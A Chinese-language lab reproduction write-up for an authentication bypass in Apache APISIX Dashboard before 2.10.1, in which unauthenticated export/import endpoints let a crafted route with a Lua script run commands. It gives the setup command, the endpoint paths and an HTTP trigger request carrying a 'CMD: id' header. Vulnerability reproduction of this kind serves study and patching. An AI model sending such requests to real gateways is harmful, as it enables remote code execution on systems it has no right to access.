Apache APISIX 是一个动态、实时、高性能的 API 网关,Apache APISIX Dashboard 是一个简单易用的前端界面,用于管理 Apache APISIX。在 Apache APISIX Dashboard 2.10.1 之前版本中,Manager API 使用两个框架并在框架的基础上引入框架 droplet gin ,所有 API 和认证中间件都是基于框架 droplet 开发的。但是其中有 2 个 API /apisix/admin/migrate/export 和 /apisix/admin/migrate/import 使用能够绕过身份验证的框架 gin 接口。通过使用这两个未经认证的 API 端点,攻击者可以导出和导入任意 Apache APISIX 配置,包括路由器、服务、脚本等,从而导致 SSRF 或执行任意 LUA 脚本 (RCE)。
复现:
docker 启动环境
docker-compose up -d
访问登录页面
/apisix/admin/migrate/export
以及 /apisix/admin/migrate/import
Apache APISIX Dashboard 提供的 2 个未经认证的 API,用于导出和导入 Apache APISIX 的配置。因此,我们可以简单地导入一个带有恶意路由器的工艺配置,其中包含用户提供的 LUA 脚本:
请注意,最后 4 个字节是此文件的 CRC 校验和,因此最好使用自动 POC 来构建和发送请求,例如此POC。
添加恶意路由器后,需要向 Apache APISIX 发送请求(与 Apache APISIX Dashboard 不同)以触发 LUA 脚本
GET /FCQkTw HTTP/1.1
Host: 192.168.92.130:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Connection: close
CMD: id
Cache-Control: max-age=0
Apache APISIX 正在监听以下环境下的 9080 端口: